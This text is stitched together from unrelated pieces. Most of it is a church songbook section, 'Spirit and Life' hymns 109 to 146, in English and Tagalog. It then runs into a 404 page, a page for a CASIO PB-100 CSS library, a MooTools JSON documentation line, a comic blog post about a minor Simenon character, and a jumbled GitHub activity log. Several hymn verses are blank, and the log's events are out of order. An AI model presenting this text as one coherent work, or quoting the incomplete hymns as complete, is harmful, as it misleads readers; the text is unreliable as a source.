I'll stand up, release my Christ and water you!
SPIRIT AND LIFE
SEL. 109
1. Burn, oh burn, oh burn, Lord,
Our spirits burn!
Burning spirit all we need,
Oh to Thee our hands we lift,
Oh, burn us, Lord.
2. Burn, oh burn, oh burn, Lord,
Our spirits burn!
For the Lord's recovery,
Burning spirit all we need.
Oh, burn us, Lord.
3. Burn, oh burn, oh burn, Lord,
Our spirits burn!
Burn until our spirit glows,
And the Lord through us may flow,
Oh, burn us, Lord.
Hymns
110 — 119
SPIRIT AND LIFE
SEL. 110
Fire up! Fire up!

Fire up! Fire up!

SPIRIT AND LIFE
SEL. 111
2 Timothy 1:7
1. God has not giv'n us a spirit of fear—
There's pow'r deep within, pow'r deep within!
We have His Word — brothers, sisters, let's hear—
That pow'r deep within may flow out.
O there's pow'r, pow'r, overcoming pow'r,
Deep within, deep within;
O there's pow'r, pow'r, normal Christian pow'r,
In the spirit God's given us!
2. God has not giv'n us a wavering will—
There's pow'r deep within, pow'r deep within!
But one our spirit will strengthen and fill—
There's wonderful pow'r deep within!
O there's pow'r, pow'r, overcoming pow'r,
Deep within, deep within;
O there's pow'r, pow'r, normal Christian pow'r,
In the spirit God's given us!
3. God has not giv'n us emotions so weak—
There's pow'r deep within, pow'r deep within!
Open our hearts and in love let us speak—
There's wonderful pow'r deep within!
O there's pow'r, pow'r, overcoming pow'r,
Deep within, deep within;
O there's pow'r, pow'r, normal Christian pow'r,
In the spirit God's given us!
4. God has not giv'n us a mind that is bound—
There's pow'r deep within, pow'r deep within!
But one that's healthy and perfectly sound—
There's wonderful pow'r deep within!
O there's pow'r, pow'r, overcoming pow'r,
Deep within, deep within;
O there's pow'r, pow'r, normal Christian pow'r,
In the spirit God's given us!
SPIRIT AND LIFE
SEL. 112
1. Bury that old time religion,
Bury that old time religion,
Bury that old time religion,
We've had enough of it.
2. Give us newness in the spirit,
Give us newness in the spirit,
Give us newness in the spirit,
It's our reality.
SPIRIT AND LIFE
SEL. 113 (TS-114)
1. We are freed from the system,
Praise the Lord! (Praise the Lord!)
We are freed from religion,
Praise the Lord! (Praise the Lord!)
We are freed from the system,
We are freed from religion,
We are freed in our spirit,
Praise the Lord!
2. We are freed in our spirit,
By His Life; (By His Life)
We are freed in our spirit,
By His Life; (By His Life)
We are freed in our spirit,
We are freed in our spirit,
We are freed in our spirit,
By His Life!
1. Malaya sa sistema,
Malaya! (Malaya!)
Malaya sa relihiyon,
Malaya! (Malaya!)
Malaya sa sistema,
Malaya sa relihiyon,
Malaya sa 'spiritu,
O Amen!
2. Dahil sa Kanyang buhay,
Malaya! (Malaya!)
Dahil sa Kanyang buhay,
Malaya! (Malaya!)
Tamasa'y kalayaan,
Tamasa'y kaligtasan,
Malaya sa 'spiritu,
O Amen!
SPIRIT AND LIFE
SEL. 114 (TS-115)
In spirit, we feast on the Lord
Eat and drink Him — His sweetness untold!
His richness is our reality,
Rest and fullness unceasingly.
In spirit, in spirit,
In spirit we feast on the Lord
In spirit, in spirit, in spirit,
In spirit we enjoy our Lord.
Sa 'spiritu'y tamasahin,
Tamis Niya'y kainin, inumin.
Katotohanan ko'ng yaman Niya,
Pahinga't kabusugan pa.
O, sa espiritu,
Magpista sa ating Kristo!
O, sa espiritu,
Magpista't tamasahin ating Kristo!
SPIRIT AND LIFE
SEL. 115 (TS-113)
1. Turn to your spirit, where the Spirit of Jesus is,
Turn to your spirit — Oh, how it makes you sing!
Turn to your spirit in the middle of everything.
Turn to the Lord, oh, turn to the Lord!
2. Turn to your spirit, where the Spirit of Jesus is,
Turn to your spirit — where life is really found,
Turn to your spirit if you're up or if you're down.
Turn to the Lord, oh, turn to the Lord!
3. Turn to your spirit, where the Spirit of Jesus is,
Turn to your spirit, calling upon His name—
Now and forever, Jesus is the very same.
Turn to the Lord, oh, turn to the Lord!
1. Sa espiritu, kay Hesus, bumaling ka;
Sa espiritu, tustos iyong makuha
Sa espiritu, tawagin ang ngalan Niya,
Sa espiritu, mamuhay ka!
2. Sa espiritu, magsipagsalamuha.
Sa espiritu, makakaawit ka.
Sa espiritu, lahat ma'wawasto nga,
Sa espiritu, mamuhay ka!
3. Sa espiritu, kay Kristo bumaling ka
Sa espiritu, taas ma't mababa
Sa espiritu, ngayo't magpakailanman
Panginoon ay maasahan!
SPIRIT AND LIFE
SEL. 117 (TS-111)
1. Have you found your human spirit?
It's connected to your mouth!
"Hallelujah — O Lord Jesus,"
That's the way to let it out!
What is born of Spirit is just our spirit,
And the two spirits are one.
What is born of Spirit is just our spirit,
And the two spirits are one.
2. Don't wait for the inspiration—
Don't be trapped by Satan's trick.
Open up! Release your spirit,
Testifying you're so free.
What is born of Spirit is just our spirit,
And the two spirits are one.
What is born of Spirit is just our spirit,
And the two spirits are one.
SPIRIT AND LIFE
SEL. 118 (TS-117)
1. We have decided to walk in spirit,
We have decided to walk in spirit,
We have decided to walk in spirit,
He lives in us, Hallelujah!
2. To walk in spirit, call "O Lord Jesus!" (3x)
He's rich, so call: "Hallelujah!"
3. To walk in spirit pray for your brothers, (3x)
It builds the Church, Hallelujah!
4. To follow Jesus, we need the Body, (3x)
We need its Life, Hallelujah!
5. We've found the purpose in local churches, (3x)
In the churches, Hallelujah!
6. It is joy to be built together, (3x)
How glorious, the local church!
1. Lalakad tayo sa espiritu, (3x)
Buha'y sa 'tin, Aleluya!
2. Ating tawagin; Pangino'ng Hesus (3x)
Mayaman Siya, Aleluya!
3. Ipanalangin mga kapatid (3x)
Ekklesia'y maitatayo!
4. Si Hesus sundan sa Katawan Niya (3x)
Mahalaga ang Katawan!
5. May layunin sa ekklesia lokal (3x)
Natagpuan sa ekklesia!
6. Sa pagtatayo, may kagalakan (3x)
Pagtatayo, kay 'l'walhati!
SPIRIT AND LIFE
SEL. 119 (TS-105)
1. Now Christ is the life-giving Spirit,
Now Christ is the Spirit today,
Now Christ is the life-giving Spirit,
So turn to your spirit and say:
"O Lord, Amen, O Lord, Amen, Hallelujah!"
"O Lord, Amen, O Lord, Amen, Hallelujah!"
2. Now Christ is that life-giving Spirit,
That Spirit dwells within me too;
Now Christ is that life-giving Spirit,
Transforms me to His image true.
"O Lord, Amen, O Lord, Amen, Hallelujah!"
"O Lord, Amen, O Lord, Amen, Hallelujah!"
1. Ngayon si Kristo'y Espiritu,
Nagbibigay-buhay sa 'tin.
Ngayon si Kristo'y Espiritu,
Bumaling ka, Siya'y tawagin:
Panginoong Hesus, Amen, Aleluya!
Panginoong Hesus, Amen, Aleluya!
2. Ang Kristong nagbibigay-buhay;
Sa 'kin ngayo'y nananahan,
Binabago Niya akong tunay,
Tungo sa Kanyang larawan.
Panginoong Hesus, Amen, Aleluya!
Panginoong Hesus, Amen, Aleluya!
Hymns
120 — 128
SPIRIT AND LIFE
SEL. 120 (TS-106)
I love my dear Lord Jesus,
Life-giving Spirit He is;
I'm mingled with Him as one,
Now two spirits are one.
Mahal ko aking Hesus,
Nagbibigay ng buhay
Kami'y nagkahalo na
'Spiritu'y nagkaisa.

He is dwelling in our spirits,
He is breath and life to us,
We are one with Him in spirit,
Everybody ought to know.
Banal dapat malaman,
Banal dapat malaman,
Banal dapat malaman,
Siya'y nasaan?
Nasa ating espiritu,
Bilang hininga't buhay;
Kaisa sa espiritu,
Kamangha-manghang bagay.
SPIRIT AND LIFE
SEL. 122
1. Oh, strengthen my spirit, Lord Jesus,
Oh, strengthen my spirit, I pray;
Oh, strengthen my spirit with power
And spread to my heart today.
Into my heart, into my heart,
Spread into my heart, Lord Jesus;
Make home today and have Your way
In all of my heart, Lord Jesus.
2. To Him who is able to do it
Above all we think or say,
We open our hearts wide and welcome
Him into our heart today.
Into my heart, into my heart,
Spread into my heart, Lord Jesus;
Make home today and have Your way
In all of my heart, Lord Jesus.
SPIRIT AND LIFE
SEL. 123
1. We can sense the Spirit pleading,
Through God's mercy, He's entreating,
In our heart these words repeating,
"Full committal to the local church."
2. Buried now — the old man's stricken,
Live we now in Christ arisen;
Joyful spirits freed from prison
Yield to Christ and to His local church.
3.
4. Truth should never be disputed,
But all negatives uprooted;
This, our cry, can't be refuted,
"Full committal to the local church."
1. Naririnig natin ngayon,
Ang Banal na Espiritu
Nagsusumamo: "Lubusin
Pagsuko sa ekklesia lokal."
2. Nalibing — ang lumang tao,
Buhay — sa loob ni Kristo;
Espiritung napalaya—
Isuko kay Kristo't ekklesia.
3. L'walhati ang haharapin,
Sa kapangyarihan ng Diyos.
Espiritung nagsasabi:
"Iukol sa ekklesiang lokal."
4. Katotohana'y di dapat
Pagtalunan ka-i-lan man;
Saloobi'y di mabago:
"Iukol sa ekklesia lokal."
SPIRIT AND LIFE
SEL. 124 (TS-104)
Jesus our Lord is the Spirit of Life,
The Spirit of Life, The Spirit of Life.
Jesus our Lord is the Spirit of Life;
He's living now in us.
Living, living, He's being formed within us.
Living, living, to be expressed through us;
Hallelujah!
Jesus our Lord is the Spirit of Life,
The Spirit of Life, The Spirit of Life,
Jesus our Lord is the Spirit of Life;
He's living now in us.
Hesus Poon 'Spiritu ng buhay,
Espiritung nagbibigay-buhay;
Hesus Poon 'Spiritu ng buhay,
Nabubuhay sa 'kin.
Siya ay buhay! Nahuhubog sa akin.
Ako'y buhay! Hinahayag ko Siya!
Aleluya!
Hesus Poon 'Spiritu ng buhay.
Espiritung nagbibigay-buhay;
Hesus Poon 'Spiritu ng buhay
Nabubuhay sa 'kin.
SPIRIT AND LIFE
SEL. 125
Keep me walking in the spirit, Lord I pray,
Keep me walking in the spirit Lord today.
For I need Thy wondrous pow'r
every day and every hour,
Keep me walking in the spirit Lord, today.
Ingatan Mo ako sa espiritu,
Nang lumakad sa espiritu ngayon.
Kailangan ko'ng lakas Mo,
bawa't saglit panahon,
Ingatan Mo ako sa espiritu!
SPIRIT AND LIFE
SEL. 126 (TS-222)
O Hallelujah, Christ is life
As breath to be received!
He breathed on them and said to them,
"Receive ye now the Holy Breath."
And now we breathe Him in,
And now we breathe Him in,
And now, and now we breathe Him in.
SPIRIT AND LIFE
SEL. 127 (TS-119)
Christ the real life-giver,
Gives life to me,
And every time I call on Him,
His Spirit sets me free;
Christ the real life-giver,
Lives now in me:
No longer is He just a name,
But my reality!
Nagbibigay-buhay,
Kristo sa 'kin,
'Pag tinawag kong ngalan Niya,
'Ko'y napalalaya;
Nananahan sa 'kin,
Espiritu:
'Di lamang Siya isang ngalan,
Bagkus katunayan!
SPIRIT AND LIFE
SEL. 128
1. Going onward, going onward
With Christ as our Life;
Overcoming all distractions,
In the spirit fight! Life! Life! Life!
We're for Jesus! We're for Jesus!
Burning just for Christ;
We don't care for problems,
We just care for Life!
2. Pressing onward! Pressing onward!
Dropping all for Christ!
Burning all things on the altar,
Be they wrong or right! Burn! Burn! Burn!
Pressing forward! Pressing forward!
Reaching forth for Christ;
Leaving all behind us,
We move on in life!
Hymns
132 — 139
SPIRIT AND LIFE
SEL. 132 (TS-126)
1. I've got Christ as a seed in me;
I'm gonna let Him grow.
I've got Christ as a seed in me;
I'm gonna let Him grow.
Let Him grow, let Him grow, let Him grow.
2. Won't let soul-life stomp Him out.
I'm gonna let Him grow.
I've got Christ as a seed in me;
I'm gonna let Him grow.
Let Him grow, let Him grow, let Him grow.
3. I'll pray-read to water Him.
I'm gonna let Him grow.
I've got Christ as a seed in me;
I'm gonna let Him grow.
Let Him grow, let Him grow, let Him grow.
4. "O Lord Jesus!" waters Him.
I'm gonna let Him grow.
I've got Christ as a seed in me;
I'm gonna let Him grow.
Let Him grow, let Him grow, let Him grow.
5. Fellowshipping with the saints.
I'm gonna let Him grow.
I've got Christ as a seed in me;
I'm gonna let Him grow.
Let Him grow, let Him grow, let Him grow.
6. Standing up to prophesy.
I'm gonna let Him grow.
I've got Christ as a seed in me;
I'm gonna let Him grow.
Let Him grow, let Him grow, let Him grow.
7. Saying "Amen" when He speaks.
I'm gonna let Him grow.
I've got Christ as a seed in me;
I'm gonna let Him grow.
Let Him grow, let Him grow, let Him grow.
8. Growing up with all the saints.
I'm gonna let Him grow.
I've got Christ as a seed in me;
I'm gonna let Him grow.
Let Him grow, let Him grow, let Him grow.
9. Till there is a full-grown man.
I'm gonna let Him grow.
I've got Christ as a seed in me;
I'm gonna let Him grow.
Let Him grow, let Him grow, let Him grow.
10. Till the Kingdom is fully shown.
I'm gonna let Him grow.
I've got Christ as a seed in me;
I'm gonna let Him grow.
Let Him grow, let Him grow, let Him grow.
1. Taglay ko si Kristong binhi;
Palalaguin ko.
Taglay ko si Kristong binhi;
Palalaguin ko.
Lubusan kong palalaguin.
2. Binhi di ko papatayin.
Palalaguin ko.
Taglay ko si Kristong binhi;
Palalaguin ko.
Lubusan kong palalaguin.
3. Diligan: basa't dalangin.
Palalaguin ko.
Taglay ko si Kristong binhi;
Palalaguin ko.
Lubusan kong palalaguin.
4. Mag- O Panginoong Hesus!.
Palalaguin ko.
Taglay ko si Kristong binhi;
Palalaguin ko.
Lubusan kong palalaguin.
5. Magsalamuha sa banal.
Palalaguin ko.
Taglay ko si Kristong binhi;
Palalaguin ko.
Lubusan kong palalaguin.
6. Tumayo't magpropesiya.
Palalaguin ko.
Taglay ko si Kristong binhi;
Palalaguin ko.
Lubusan kong palalaguin.
7. Mag- Amen, pagsalita Niya.
Palalaguin ko.
Taglay ko si Kristong binhi;
Palalaguin ko.
Lubusan kong palalaguin.
8. Lumagong kasamang banal.
Palalaguin ko.
Taglay ko si Kristong binhi;
Palalaguin ko.
Lubusan kong palalaguin.
9. Hanggang lumago sa buhay.
Palalaguin ko.
Taglay ko si Kristong binhi;
Palalaguin ko.
Lubusan kong palalaguin.
10. Nang kaharia'y makita.
Palalaguin ko.
Taglay ko si Kristong binhi;
Palalaguin ko.
Lubusan kong palalaguin.
SPIRIT AND LIFE
SEL. 133 (TS-118)
1.
2.
3. Jesus Lord, unto Thee, my spirit open wide,
Calling Thee, from within, drinking Thee,
Jesus Lord, now I turn to the river of life,
Triune God, saturate me as life.
SPIRIT AND LIFE
SEL. 135 (TS-128)
The kingdom is just Christ as man's life,
Imparting riches into me,
In resurrection growing, moving,
That Christ my New Man e'er will be.
May Thy exhaustless treasure
Be my supply and power,
So that I daily may enjoy Your,
May enjoy Your, may enjoy Your
riches bountiful.
Oh that Thy pow'r in glory
May operate within me,
Make me grow daily and transform me,
And transform me, and transform me
into Thine image.
May the kingdom's reality,
The church life's practicality,
And the building with all the saints
fulfilled be.
Oh, may the kingdom's power
To heav'nly realm us transfer,
And operate that we may ever,
We may ever, we may ever
dwell in Thy glory.
Ang kaharian ay si Kristo
Bilang buhay at yaman ko,
Sa pagkabuhay lumalago
Si Kristo, Bagong Tao ko.
Nawa'y Iyong kayamanan
Magtustos, magpatibay,
Upang lagi kong matamasa,
Matamasa, matamasa
Iyong kayamanan.
Lakas Mo sa l'walhati
Gumagawa sa akin,
Nang ako'y laging matransporma,
Matransporma, matransporma
Sa I-yong wangis.
Kahariang katunayan,
Karanasang ekklesi-a,
Pagtatayo ng banal ay makita.
Kaharia'y naglapit.
Sa dakong makalangit,
Kami'y pun'in Mo at dalhin Mo,
At dalhin Mo, at dalhin Mo
Sa Iyong l'walhati.
SPIRIT AND LIFE
SEL. 136 (TS-127)
<IP_ADDRESS>.<IP_ADDRESS>.
1. Lord, cause us to see, Your heart's desire
Is Your Kingdom indeed,
No need for us, to labor vainly,
Thy grace, O Lord we need,
In the Kingdom we're translated,
There's no need to wait for that day;
Just let the Lord grow within us,
Kingdom be expressed this way.
2. Kingdom of God, is Christ's expansion,
The seed is sown in me,
The seed of life's Jesus within us,
Let Him grow 'tentively'
Stony ground is our soul life,
Thorns are the cares and riches all,
We must not be the soil by the way,
On good ground let Him fall.
3. In the good ground, barley shall grow fast,
Bring forth a hundred fold,
But all the grains, must first be fine flour,
For God and man as food.
If His desire we would fulfill,
The grinding process must be done,
Thus become a holy wave off'ring,
In Him we shall be one.
4. We're living stones, transformed through grinding,
For His building we'll be,
In the Spirit, transforming, growing,
Gold, pearl, so preciously.
Christ we received as our Person,
Our daily living occupy,
By this, our life can grow and transform,
Kingdom expressed thereby.
5. Pearly nature, so pure and perfect,
Reaching the highest sphere,
Even after sufferings and pains,
Life groweth more than e'er.
Christ as my life and Person now,
The Kingdom is just Christ Himself,
He's ceaselessly, growing within me,
Till God and man one be.
1. Panginoon kaharian Mo,
Layon ng Iyong puso;
Hindi kai-langang magpagal pa,
Kundi Iyong biyaya.
Mailipat ngayon pa man
Kami sa Iyong kaharian;
Maihayag ang kaharian,
Sa 'ming kalagayan.
2. Kaharia'y Kristong lumaki,
Sa 'kin hasik binhi,
Hesus, sa atin binhi'y buhay,
Alaga'y ibigay.
Mabatong lupa'y kalul'wa,
Ang dawag-balisa't yaman,
Mahulog sa mabuting lupa,
Di sa tabing daan.
3. Lalago sa mabuting lupa
Ang daang sebada;
Lahat ng butil gigilingin
Bago makakain.
Kung layon ng Diyos tutupdin,
Paggiling dapat tanggapin;
Nang maging niluglog na hain,
Tayo'y pag-isahin.
4. Natranspormang buhay na bato,
Ay sa pagtatayo;
Sa espiritu'y lumalago,
Maging perlas, ginto.
Kristo'y tinanggap Persona,
Sa buhay nati'y manguna;
Buhay lalago't matransporma,
Kaharia'y kita.
5. Perlas puro ang kalikasan,
Abot kataasan;
Pagkaraan ng dusa't sakit,
Paglago'y humigit.
Kristo'y 'king buhay, persona,
Kaharian ay mismong Siya;
Paglago sa 'kin humantong sa
Tao't Diyos magkaisa.
SPIRIT AND LIFE
SEL. 138 (TS-129)
1. Jesus, my sunshine, my only sunshine,
Lights up my pathway, so clear and bright.
Sunny or cloudy, whate'er life may be,
Jesus, Jesus — my only sunshine.
2.
SPIRIT AND LIFE
SEL. 139 (TS-125)
1. The Lord, the seed of life, has sown Himself into our heart
To grow up into fullness and become His counterpart.
The seed requires no rules or forms, for water is its need—
By this the all-inclusive seed will grow in us indeed!
The seed is simply Jesus! Oh, Jesus lives in me!
And by His growth this seed in us will reach maturity.
2. The individual grains of wheat no longer must be free,
But crushed together, ground to powder, every grain must be,
Until the wheat becomes the meal from which the loaf is formed
Till all the saints will blend and to His Body be conformed.
We all must take the grinding until the Christ within
Can mold into His Body all the individual grains.
3. The seed is planted, wheat is grown and meal is the sum
Of all the growth upon God's farm, where Christians grow as one;
But all the growth in life is for the building of the church,
That God and man may have a home and both may end their search.
The farm is for the building, for God and man a home,
Where both may dwell among His people gathered into one.
4. God's building is produced by silver, precious stones, and gold—
From meal through transformation, pressure, heat, and pain untold.
The meal must not be satisfied to stay as meal alone,
But must submit to transformation into precious stone.
The meal must pass through suffering that precious stones be formed;
Then built into God's building, to His purpose full conformed.
5. From fullest growth and transformation comes a pearl of worth;
This simple, precious, all-inclusive gem will then come forth.
Conceived in death and formed in life by that all-glorious One,
The church, His Bride, the fruit of all the work that He has done.
The pearl is what He's after, the Bride to please His heart,
So single, pure and precious, and His very counterpart.
6. Lord, keep us poor in spirit, pure in heart that we may be
Good ground in which the seed of life may grow abundantly,
Until the final stage is reached and You are satisfied
And have Your priceless, chosen pearl, Your joy complete, Your Bride.
Lord, keep us poor in spirit and purified in heart,
That growing up in us You may bring forth Your counterpart.
Hymns
140 — 146
SPIRIT AND LIFE
SEL. 140
Christ, Christ, He's in us today,
All old religion's now cast away,
We are all His family,
We're one in the spirit, in harmony,
We are living now, praising the Lord,
Shouting His name, our spirits have soared,
In the local churches we will eat and be satisfied.
SPIRIT AND LIFE
SEL. 141 (TS-123)
Hallelujah! Hallelujah!
Jesus is now living, living in me.
Hallelujah! Hallelujah!
Jesus is living in me.
*The word living can be changed into moving, growing, forming, dwelling, burning, or others.
SPIRIT AND LIFE
SEL. 142
1. In my heart there dwells the Son of Man,
So perfect and so fine,
So human, yet divine,
In my heart there dwells the Son of Man
To live in me His human life.
2. In my heart there lives the Son of Man
For His humanity
To be expressed in me.
In my heart there lives the Son of Man;
His human living flows through me.
SPIRIT AND LIFE
SEL. 143
1. How wonderful He's my person,
Foll'wing Him I'm living now.
He shouts, so I shout,
He smiles, so I smile,
He jumps, so I jump,
O how carefree we're now!
2. How wonderful He's my person,
Foll'wing Him I'm living now.
He moves, so I move,
He sings, so I sing,
He tells, so I tell,
O how carefree we're now!
SPIRIT AND LIFE
SEL. 144
1. Lord, to know Thee as our Person,
Earnestly we seek and pray;
To experience Thy fullness
In a constant inner way.
Never longer only outward
Or with soulish thoughts obsessed,
But, O Lord, in realest contact
We by Thee would be possessed.
Lord, Thou art our Person,
In our inmost being,
May we constantly experience
This reality.
2. All the world is under darkness,
Driven by the fallen soul,
And the enemy designing
Does the soulish life control.
Such we were till God, through mercy,
Caused His Son to dwell in us;
Now we fully come to know Him
In His church so glorious.
Lord, Thou art our Person,
In our inmost being,
May we constantly experience
This reality.
3. Once we walked a soulish person,
Wandering in the wilderness,
Never knowing that our spirit
Craved God's fullness to express;
At the moment Jesus entered
Instantly the whole was changed.
Now we're people spirit-centered!
Hallelujah! Rearranged!
Lord, Thou art our Person,
In our inmost being,
May we constantly experience
This reality.
4.
Christ Himself in us expressing
God's intent and holiness.
Not the soul-life's vain delusion,
But the spirit strengthened is;
Christ Himself is now our Person—
He is ours and we are His.
Lord, Thou art our Person,
In our inmost being,
May we constantly experience
This reality.
SPIRIT AND LIFE
SEL. 146 (C-380)
<IP_ADDRESS>.<IP_ADDRESS>.
1. Life of glory, oh how glorious!
Christ, the glorious life is He;
Holy, perfect, pure, and righteous,
O how rich this life to me!
All the fullness of the Godhead
Dwell in Him thus bodily,
As my life He is imparted,
He supplies me inwardly.
2. Life divine, oh life divine 'tis
Christ, the life divine is He;
He's the consummated Spirit,
And has come to dwell in me.
Moving, working, shining, teaching
As th' anointing soothing me,
Filling, drenching, strength'ning, feeding,
He supplies me inwardly.
3. Life of power, power truly,
Christ, the life of power is He;
With Him I've been resurrected,
Slave of sin no more I'd be.
Now my life He lives within me,
Living constantly with Him,
Resurrection pow'r I've tasted,
He supplies me inwardly.
4. Life of vict'ry, life of vict'ry,
Christ, victorious life is He,
On the cross He won the vict'ry,
Captive no more I would be.
Satan, demons, passions, vices,
He has conquered them for me;
Now my life of vict'ry He is,
He supplies me inwardly.
5. Life of glory, power, vict'ry,
Christ, the life divine is He!
He gives vict'ry, power; makes me
Grow unto maturity;
He transforms me to His image,
Then I'll be transcendent, free,
Till that day of rapture, marriage,
He supplies me inwardly.
1. Gloria, gloria, gloriang buhay!
Kristo ang gloriang buhay!
Banal, mat'wid at mainam,
O, buhay na kay yaman!
Pagka-Diyos na kapuspusan
Sa Kanya'y nanahanan.
Ngayon buhay ko'y si Kristo,
Panustos sa loob ko.
2. Makadiyos, dibinong buhay,
Kay Kristo'y natataglay
Naging Espiritu na Siya,
Sa akin nakatira.
Humihipo, nagtuturo
Nagpapahid sa lo'b ko;
Nagpalakas, nagpupuspos.
Sa loob ko'y panustos.
3. Makapangyarihang buhay,
Kay Kristo'y matataglay;
Nabuhay na kasama Niya,
Di na alipin sala.
Ngayon sa akin buhay Siya,
Palagi kong kasama,
Pagkabuhay ay natikman,
Loob ko'y natustusan.
4. O matagumpay na buhay,
Kristo'y panalong buhay!
Sa krus nagtagumpay na Siya
Nang ako'y mapalaya!
Diyablo sanlibutan, tukso,
Lubusan Niyang tinalo;
Buhay kong matagumpay Siya,
Panloob ko'y tustos Niya.
5. Banal, malakas, dibino,
Gloriang buhay si Kristo;
Pinalakas, pinagwagi,
Hininog, pinalaki.
Iwinawangis sa Kanya
Nang ako'y mapalaya!
Hanggang sa Kanyang pagbalik,
Tustos Siyang walang patid.


Cracking the Interview
sentiment_very_dissatisfied
404
Page not found
The page you are looking for doesn't exist or another error has occured.


Old version of CSS library for CASIO PB-100
Caution! This project is old. The latest project is under development at github.com/pb-100/hamura.css.
Sample and Tools
- PB List Image Maker 0.3
- PB Display Image Maker 1.0
- pbDisplay.css 0.x Sample
- pbPrinter.css 0.3 Sample
Author : pbrocky
- Homepage
- Twitter
- Blog
- Github


Use a JSON request when you have complex data which you would like to send in a JavaScript-readable format to a handling method on the client side. The first method passed to a Request.JSON onComplete method is the data object represented in the JSON code which was returned by the server. For more information on the JSON format, see json.org.


Bloody hell! How could I allow an entire week to elapse without a single postage? For the Tremoloes, silence may have been golden, but I think we can all agree that Hooting Yard silence is decidedly leaden. God alone knows how you lot have managed to cope in the absence of the one bright spark in your otherwise pitiful and wretched lives.
I wish I could tell you that during the preceding week I have been engaged in some important business—Milibanding with International Rescue, for example—but alas! and alack! it is not so. I have simply been engulfed in tippy-tappyless lassitude.
Mind you, one thing I did was to read George Simenon's 1967 novel The Neighbours, and I am very glad I did. The protagonist is a Parisian travel agent, who at one point says to his subordinate:
“Monsieur Clinche, would you come here for a minute? I think we recently received a letter from Bill Hatworn, our Kenya correspondent,”
Tragically, this is the sole mention of Bill Hatworn in the novel and, indeed, in all world literature. We learn nothing, nothing whatsoever, about him, not even the contents of that letter, which Monsieur Clinche has “already filed”. Surely, having invented a character with such a resounding name—one which we must presume he considered typically Anglo-Saxon—Simenon ought to have bashed out a series of novels about him and his doings in Kenya? Clearly it must fall to me to rescue Mr Hatworn from obscurity and to write all those exciting adventures myself.
First up, I suppose, will have to be Bill Hatworn—Kenya Correspondent! to introduce our hero to readers. Next, I think I will take inspiration from a poster I saw for a new blockbuster multiplex piece of cinematic twaddle (see below) and write Bill Hatworn And The Foolish People Of The Future! I may indeed pen a spin-off series about the Foolish People Of The Future, in which they dash about in the future doing futuristic things with futuristic weaponry while dressed in futuristic uniforms.


referenced
by Jane Sandberg at 2022-10-19 16:16:21.merged
by Jane Sandberg at 2022-10-19 16:16:21.closed
by Jane Sandberg at 2022-10-19 16:16:21.head_ref_deleted
by Jane Sandberg at 2022-10-19 16:16:22.head_ref_force_pushed
by Max Kadel at 2022-10-19 14:45:34.assigned
by Max Kadel at 2022-10-19 14:47:19.deployed
by None at 2022-10-19 14:53:45.review_requested
by Max Kadel at 2022-10-19 14:55:17.deployed
by None at 2022-10-19 16:25:38.convert_to_draft
by Max Kadel at 2022-10-19 17:01:31.deployed
by None at 2022-10-19 11:55:59.head_ref_force_pushed
by Christina Chortaria at 2022-10-19 12:11:56.deployed
by None at 2022-10-19 12:31:28.ready_for_review
by Christina Chortaria at 2022-10-19 12:34:46.review_requested
by Christina Chortaria at 2022-10-19 12:34:58.referenced
by Christina Chortaria at 2022-10-19 16:35:29.merged
by Christina Chortaria at 2022-10-19 16:35:29.closed
by Christina Chortaria at 2022-10-19 16:35:29.head_ref_deleted
by Christina Chortaria at 2022-10-19 16:35:30.closed
by Christina Chortaria at 2022-10-19 16:35:30.head_ref_force_pushed
by Christina Chortaria at 2022-10-19 15:29:03.head_ref_deleted
by Esmé Cowles at 2022-10-19 12:55:58.head_ref_deleted
by Esmé Cowles at 2022-10-19 12:55:59.referenced
by Robert-Anthony Lee-Faison at 2022-10-19 17:11:41.merged
by Robert-Anthony Lee-Faison at 2022-10-19 17:11:41.closed
by Robert-Anthony Lee-Faison at 2022-10-19 17:11:41.head_ref_deleted
by Robert-Anthony Lee-Faison at 2022-10-19 17:11:42.referenced
by Robert-Anthony Lee-Faison at 2022-10-19 17:11:59.merged
by Robert-Anthony Lee-Faison at 2022-10-19 17:11:59.closed
by Robert-Anthony Lee-Faison at 2022-10-19 17:12:00.head_ref_deleted
by Robert-Anthony Lee-Faison at 2022-10-19 17:12:01.I wonder if it would be better to enable gzip compression on the load balancer for all content?
And ensure images, css, json, etc. are compressed: https://www.digitalocean.com/community/tutorials/how-to-improve-website-performance-using-gzip-and-nginx-on-ubuntu-20-04
I wonder if it would be better to enable gzip compression on the load balancer for all content?
Interesting idea. There is still a network hop from the application machine to the load balancer, though?
labeled
by James R. Griffin III at 2022-10-19 15:20:43.This likely is related to a set of XML configuration files which must be updated for the form fields.
assigned
by Kate Lynch at 2022-10-19 15:34:57.assigned
by James R. Griffin III at 2022-10-19 15:35:12.assigned
by Kate Lynch at 2022-10-19 15:35:42.The errors on these were "Aws::S3::MultipartUploadError: multipart upload failed: undefined method `read' for #IngestableFile:0x00007f0e58b88c20"
It hasn't happened since mid-august, though. So maybe we stopped doing whatever was causing that?
referenced
by None at 2022-10-19 19:24:26.referenced
by None at 2022-10-19 20:00:55.referenced
by None at 2022-10-19 20:43:59.referenced
by None at 2022-10-19 21:21:09.assigned
by Trey Pendragon at 2022-10-19 18:58:50.head_ref_force_pushed
by None at 2022-10-19 20:00:55.head_ref_force_pushed
by None at 2022-10-19 20:43:59.head_ref_force_pushed
by None at 2022-10-19 21:21:09.referenced
by None at 2022-10-18 22:25:28.merged
by None at 2022-10-18 22:25:28.closed
by None at 2022-10-18 22:25:28.head_ref_deleted
by None at 2022-10-18 22:25:29.referenced
by Christina Chortaria at 2022-10-19 11:16:05.merged
by Christina Chortaria at 2022-10-19 11:16:05.closed
by Christina Chortaria at 2022-10-19 11:16:05.head_ref_deleted
by Christina Chortaria at 2022-10-19 11:16:06.head_ref_force_pushed
by None at 2022-10-19 13:58:40.head_ref_force_pushed
by None at 2022-10-19 13:59:37.referenced
by Christina Chortaria at 2022-10-19 11:27:39.merged
by Christina Chortaria at 2022-10-19 11:27:39.closed
by Christina Chortaria at 2022-10-19 11:27:39.head_ref_deleted
by Christina Chortaria at 2022-10-19 11:27:40.closed
by Christina Chortaria at 2022-10-19 11:27:40.review_requested
by Christina Chortaria at 2022-10-19 11:28:15.head_ref_force_pushed
by James R. Griffin III at 2022-10-19 03:29:25.unlabeled
by James R. Griffin III at 2022-10-19 03:29:35.deployed
by None at 2022-10-19 11:43:07.referenced
by None at 2022-10-19 12:01:03.merged
by None at 2022-10-19 12:01:04.closed
by None at 2022-10-19 12:01:04.head_ref_deleted
by None at 2022-10-19 12:01:05.Please note that https://github.com/pulibrary/princeton_ansible/issues/3403 will be required to provide a SMTP server for the staging
environment
